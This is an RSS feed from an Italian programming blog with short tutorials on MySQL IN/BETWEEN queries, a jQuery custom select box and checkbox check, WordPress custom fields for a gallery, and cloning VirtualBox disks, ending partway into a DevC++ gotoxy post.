<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IoSmanetto.it - Blog programmazione e webdesign</title>
	<atom:link href="http://www.iosmanetto.it/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iosmanetto.it</link>
	<description>Il blog per tutti gli smanettoni del pc. Ogni giorno nuovi articoli sul webdesign e sulla programmazione</description>
	<lastBuildDate>Thu, 08 Jul 2010 23:29:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Mysql : gli operatori IN e BETWEEN</title>
		<link>http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/</link>
		<comments>http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 23:29:05 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[Mysql]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=540</guid>
		<description><![CDATA[Oggi vi parlerò di IN e BETWEEN, due operatori fondamentali per la realizzazione di query mysql Mi sembra poco utile versare parole in più per farvi capire dei concetti molto semplici, perciò vi butto giù subito gli esempi e li commenteremo insieme . SELECT * FROM `tb_nome` WHERE title = 'Home' OR title = 'Info' [...]]]></description>
			<content:encoded><![CDATA[<p>Oggi vi parlerò di <strong>IN</strong> e <strong>BETWEEN</strong>, due operatori fondamentali per la realizzazione di query mysql <br/></p>
<p>Mi sembra poco utile versare parole in più per farvi capire dei concetti molto semplici, perciò vi butto giù subito gli esempi e li commenteremo insieme . <br/></p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> <span style="color: #ff0000;">`tb_nome`</span> <span style="color: #993333; font-weight: bold;">WHERE</span> title <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'Home'</span> <span style="color: #993333; font-weight: bold;">OR</span> title <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'Info'</span> <span style="color: #993333; font-weight: bold;">OR</span> title <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'Blog'</span> <span style="color: #993333; font-weight: bold;">OR</span> title <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'Contatti'</span>;</pre></div></div>

<p>La query appena scritta non fa altro che restituire tutti i record in cui il campo <em>title</em> contenga almeno una delle seguenti parole : &#8216;Home&#8217;,'Info&#8217;,'Blog&#8217;,'Contatti&#8217; . <br/></p>
<p><strong>IN</strong> semplifica e rende più esplicita la query scritta sopra. Vediamo questo esempio : <br/></p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> <span style="color: #ff0000;">`tb_nome`</span> <span style="color: #993333; font-weight: bold;">WHERE</span> title <span style="color: #993333; font-weight: bold;">IN</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'Home'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Info'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Blog'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Contatti'</span><span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>Semplice no ?<br/></p>
<p><strong>Between</strong> è anche molto intuitivo perchè restituisce i record in cui il campo specificato contenga un valore compreso fra due numeri : <br/></p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> <span style="color: #ff0000;">`tb_nome`</span> <span style="color: #993333; font-weight: bold;">WHERE</span> age <span style="color: #993333; font-weight: bold;">BETWEEN</span> <span style="color: #cc66cc;">12</span> <span style="color: #993333; font-weight: bold;">AND</span> <span style="color: #cc66cc;">18</span> ;</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Personalizzare una Select Box !</title>
		<link>http://www.iosmanetto.it/javascript/personalizzare-un-select-box/</link>
		<comments>http://www.iosmanetto.it/javascript/personalizzare-un-select-box/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 21:26:22 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=511</guid>
		<description><![CDATA[Non tutti i componenti del form sono personalizzabili al 100%, a volte è possibile modificare solo alcune caratteristiche come il colore del testo e dello sfondo . La select box difficilmente viene personalizzata via css perchè molti browser non accettano pienamente questa funzione . Impariamo a creare una select box tutta nostra con l&#8217;ausilio del [...]]]></description>
			<content:encoded><![CDATA[<p><em>Non tutti i componenti del form sono personalizzabili al 100%, a volte è possibile modificare solo alcune caratteristiche come il colore del testo e dello sfondo . </em><br/><br />
La <strong>select box </strong>difficilmente viene personalizzata via css perchè molti browser non accettano pienamente questa funzione .<br />
Impariamo a creare una select box tutta nostra con l&#8217;ausilio del nostro amato framework <strong>Jquery </strong>!</p>
<p>Per l&#8217;occasione ho preparato questo semplice form che è costituito da una textbox , una select box e un submit .</p>
<p><iframe style="border:2px solid black" src="http://www.iosmanetto.it/progetti/javascript/myform/index.html" height=400"></iframe><br />
<span id="more-511"></span><br />
La select box si presenta come un div (.selectBox)  con i segunti nodi figli :</p>
<ol>
<li><strong>.input</strong> Qui viene visualizzato il testo scelto dell&#8217;utente nel menu a tendina</li>
<li><strong>input hidden</strong> Il valore scelto viene copiato in questa field per poter essere inviato durante il submit del form</li>
<li><strong>.arrow</strong> Pulsantino per aprire il menu a tendina</li>
<li><strong>.hoverBox</strong> Una lista (ul) contenente i valori di scelta</li>
</ol>
<p><br/></p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;div class=&quot;selectbox&quot;&gt;&lt;span class=&quot;&quot;&gt;Seleziona un valore&lt;/span&gt;
    &lt;input type=&quot;hidden&quot; value=&quot;none&quot; name=&quot;field2&quot; /&gt;
    &lt;a href=&quot;#&quot; class=&quot;arrow&quot;&gt;&lt;/a&gt;
    &lt;ul class=&quot;hoverBox&quot;&gt;
      &lt;li&gt;&lt;a href=&quot;#&quot;&gt;item 1&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#&quot;&gt;item 2&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#&quot;&gt;item 3&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#&quot;&gt;item 4&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#&quot;&gt;item 5&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;</pre></div></div>

<p>Vediamo cosa fa il seguente codice jquery che regola il funzionamento di tutta la selectbox</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #006600; font-style: italic;">// Funzione che viene chiamata quando la pagina si carica</span>
&nbsp;
<span style="color: #006600; font-style: italic;">// Gestione freccia Select Box</span>
&nbsp;
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.selectbox .arrow&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">// Quando utente clicca sulla freccia ...</span>
&nbsp;
$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.hoverBox&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// Quando utente fa click il box scompare</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.selectbox .hoverBox&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">mouseup</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">hide</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span>
<span style="color: #006600; font-style: italic;">// Quando utente clicca su un link , il valore viene copiato nello SPAN nell hidden</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.selectbox .hoverBox a&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> value <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;input&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">val</span><span style="color: #009900;">&#40;</span>value<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.input&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>value<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>															 
								<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
						    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>Quando l&#8217;utente fa click nella freccia ( .arrow ) viene visualizzato il box contenente i link .</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.hoverBox&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Se l&#8217;utente preme un link il valore viene copiato sia nello span , per la visulizzazione grafica , e sia nell&#8217;input hidden .</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">	<span style="color: #003366; font-weight: bold;">var</span> value <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;input&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">val</span><span style="color: #009900;">&#40;</span>value<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.input&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>value<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/javascript/personalizzare-un-select-box/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jquery : checkbox selezionato ?</title>
		<link>http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/</link>
		<comments>http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 13:55:24 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=506</guid>
		<description><![CDATA[Validare un form con jquery è davvero semplice : occorrono poche istruzioni per scrivere una funzione completa e sicura . Non avevo mai validato un checkbox con jquery , cosi mi sono chiesto come sia possibile farlo senza usare javascript puro . Girovagando sul sito di jquery sono arrivato ad una semplice conclusione , usare [...]]]></description>
			<content:encoded><![CDATA[<p>Validare un form con <strong>jquery </strong>è davvero semplice : occorrono poche istruzioni per scrivere una funzione completa e sicura .<br/> Non avevo mai validato un checkbox con jquery , cosi mi sono chiesto come sia possibile farlo senza usare javascript puro .<br/><br />
Girovagando sul sito di jquery  sono arrivato ad una semplice conclusione , usare la funzione <em>is()</em> .</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#id_checkbox&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #000066; font-weight: bold;">is</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;:checked&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #006600; font-style: italic;">// Se checkbox è selezionato</span>
<span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">else</span><span style="color: #009900;">&#123;</span>
      <span style="color: #006600; font-style: italic;">// Se checkbox non è selezionato</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Spero di esservi stato utile <img src='http://www.iosmanetto.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  A domani !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Costum Field in wordpress , &#8220;Utilissimi!&#8221;</title>
		<link>http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/</link>
		<comments>http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 13:44:42 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=489</guid>
		<description><![CDATA[I Costum Field non sono altro che dei campi aggiuntivi da inserire in post e pagine per organizzare al meglio le informazioni . Dal mio punto di vista questa funzione è una delle più utili di wordpress perchè permette di creare dei veri e propri cms . Inserirne uno è davvero semplice . Quando stai [...]]]></description>
			<content:encoded><![CDATA[<p>I <strong>Costum Field</strong> non sono altro che dei campi aggiuntivi da inserire in post e pagine per organizzare al meglio le informazioni . Dal mio punto di vista questa funzione è una delle più utili di wordpress perchè permette di creare dei veri e propri cms .</p>
<p>Inserirne uno è davvero semplice . Quando stai per salvare un nuovo post , in fondo alla pagina avrai sicuramente notato il box &#8220;Campi personalizzati&#8221; . Da li è possibile aggiungere tutti i parametri che vuoi .</p>
<p>Nella versione 3.0 di wordpress occorrono i seguenti passaggi :</p>
<ol>
<li>Fare click su <em>Aggiungere Nuovo</em></li>
<li>Compilare i due campi Nome e Valore</li>
<li>Fare click su <em>Aggiungi Campo Personalizzato</em></li>
</ol>
<p><span id="more-489"></span><br />
Per richiamare i valori all&#8217;interno del post/pagina possiamo usare la funzione <em>get_post_meta </em>che accetta tre parametri . Ecco la sintassi della funzione :</p>
<p><em>get_post_meta(idpost,key,bArray)</em></p>
<p><strong><em>idpost</em> </strong>Se non conosciamo l&#8217;id del post basta usare la variabile $post-&gt;ID .</p>
<p><strong><em>key</em> </strong>Il nome del parametro inserito precedentemente</p>
<p><strong><em>bArray </em></strong>Se impostata su <em>true </em>restituisce il valore sotto forma di stringa . Se esistono piu&#8217; field con lo stesso nome restituisce l&#8217;ultimo inserito . Se invece è impostato su <em>false </em>restituisce un array di stringhe .</p>
<p>Proviamo a realizzare una semplice applicazione , tanto per capire l&#8217;importanza dei campi personalizzati : sviluppiamo una semplice fotogallery da inserire nei post .</p>
<p>Per prima cosa apriamo la pagina <em>single.php</em> e individuiamo il ciclo loop principale :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">...
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>have_posts<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>have_posts<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> the_post<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
...
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endwhile</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>All&#8217;interno del ciclo inseriamo il seguente codice :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$n</span> <span style="color: #339933;">=</span> get_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;numero gallerie&quot;</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  		
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$n</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$mykey_values</span> <span style="color: #339933;">=</span> get_post_custom_values<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;galleria_<span style="color: #006699; font-weight: bold;">$i</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$nome</span> <span style="color: #339933;">=</span> get_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;galleria_&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;_titolo&quot;</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
?   <span style="color: #339933;">&lt;</span>div <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;boxSub&quot;</span><span style="color: #339933;">&gt;</span>
        <span style="color: #339933;">&lt;</span>div <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;title&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$nome</span><span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/div&gt;
        &lt;ul class=&quot;images&quot;&gt;
        <span style="color: #000000; font-weight: bold;">&lt;?php</span>   <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$mykey_values</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$value</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
          &lt;li&gt;&lt;a href=&quot;#&quot;&gt;&lt;img src=&quot;<span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$value</span><span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
          <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
        &lt;/ul&gt;
        &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
      &lt;/div&gt;
      <span style="color: #000000; font-weight: bold;">&lt;?php</span>     
<span style="color: #009900;">&#125;</span>
	  <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Se vogliamo inserire una o piu&#8217; gallerie all&#8217;interno di un post o una pagina dobbiamo inserire i seguenti campi personalizzati :</p>
<ul>
<li><strong>numero gallerie</strong> &#8211; Qui inserire quante sono le gallerie</li>
<li><strong>galleria_<em>id</em>_titolo</strong> &#8211; Dove id è l&#8217;identificativo della galleria , in questo campo dovete inserire il nome della galleria</li>
<li><strong>galleria_<em>id</em></strong> &#8211; Inserite tante volte questo campo quanti sono le immagini della galleria . In questi campi dovete aggiungere il link delle immagini</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clonare HD di VirtualBox ( . vdi )</title>
		<link>http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/</link>
		<comments>http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 13:11:30 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[VirtualBox]]></category>
		<category><![CDATA[trip & tricks]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=466</guid>
		<description><![CDATA[VirtualBox è un potente emulatore che permette di simulare delle macchine virtuali . Per chi non l&#8217;ha scaricato  vi consiglio di provarlo, è davvero figo avere piu&#8217; sistemi operativi all&#8217;interno di una sola macchina fisica Download VirtualBox Pochi giorni fa ho creato due macchine virtuali con sistema operativo windows xp . L&#8217;iter della creazione di [...]]]></description>
			<content:encoded><![CDATA[<p><strong>VirtualBox </strong><em>è un potente emulatore che permette di simulare delle macchine virtuali . Per chi non l&#8217;ha scaricato  vi consiglio di provarlo, è davvero figo avere piu&#8217; sistemi operativi all&#8217;interno di una sola </em>macchina fisica</p>
<p><a href="http://www.virtualbox.org/wiki/Downloads"><br />
Download VirtualBox</a> <a href="http://www.iosmanetto.it/wp-content/uploads/2010/07/virtualbox.png"><img class="alignright size-full wp-image-468" title="virtualbox" src="http://www.iosmanetto.it/wp-content/uploads/2010/07/virtualbox.png" alt="" width="512" height="512" /></a></p>
<p>Pochi giorni fa ho creato due macchine virtuali con sistema operativo windows xp . L&#8217;iter della creazione di queste macchine, vuole che dopo aver impostato le caratteristiche del pc virtuale , l&#8217;utente installi il sistema operativo . Nel mio caso dovevo installare l&#8217; S.O due volte , ma se volessi crearne dieci di macchine virtuali ? Mi tocca installare 10 volte XP , una rottura allucinante XD .</p>
<p>Ecco se voi avete lo stesso problema non vi allarmate perchè esiste un modo per clonare un hd di virtualbox .<strong> Quindi se io volessi creare dieci , venti macchine virtuali con xp è un gioco da ragazzi, basta creare una prima macchina , installo xp e poi clono l&#8217;hd .</strong></p>
<p>Per clonare l&#8217;hd , andate nella console di windows ( cmd.exe ) , posizionatevi nella dir C:\Program Files\Oracle\VirtualBox\ e lanciate il comando <code>VBoxManage</code> con la seguente sintassi :</p>
<p><code>VBoxManage clonevdi nomefileorigine.vdi nomefilecopia.vdi</code></p>
<p>Importantissimo se i file vdi non si trovano all&#8217;interno della cartella VirtualBox in programmi , dovete specificare l&#8217;indirizzo assoluto del file . Se l&#8217;hd si trova in documenti , un esempio potrebbe essere il seguente :</p>
<p><code>VBoxManage clonevdi </code>C:\Users\Alessio\Documents\nomefileorigine.vdi C:\Users\Alessio\Documents\nomefilecopia.vdi</p>
<p>Se avete qualche problema non esitate a contattarmi</p>
<p>Alla prossima <img src='http://www.iosmanetto.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GotoXY sul compilatore DevC++</title>
		<link>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/</link>
		<comments>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 21:10:23 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[funzione]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=425</guid>
		<description><![CDATA[Lo scopo della funzione gotoxy, presente nella libreria conio.h , è quello di spostare il cursore della console. DevC++ non contiene la libreria perciò,se non vogliamo installarla, l&#8217;unica soluzione è quella di creare la funzione: #include &#60;windows.h&#62; #include &#60;stdio.h&#62; #include &#60;iostream.h&#62; void gotoxy&#40;int x,int y&#41;&#123; HANDLE HConsole; CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; HConsole = GetStdHandle&#40;STD_OUTPUT_HANDLE&#41;; ConsoleInfo.dwCursorPosition.X = x; [...]]]></description>
			<content:encoded><![CDATA[<p>Lo scopo della funzione <strong>gotoxy</strong>, presente nella libreria <em>conio.h</em> , è quello di spostare il cursore della console.<br />
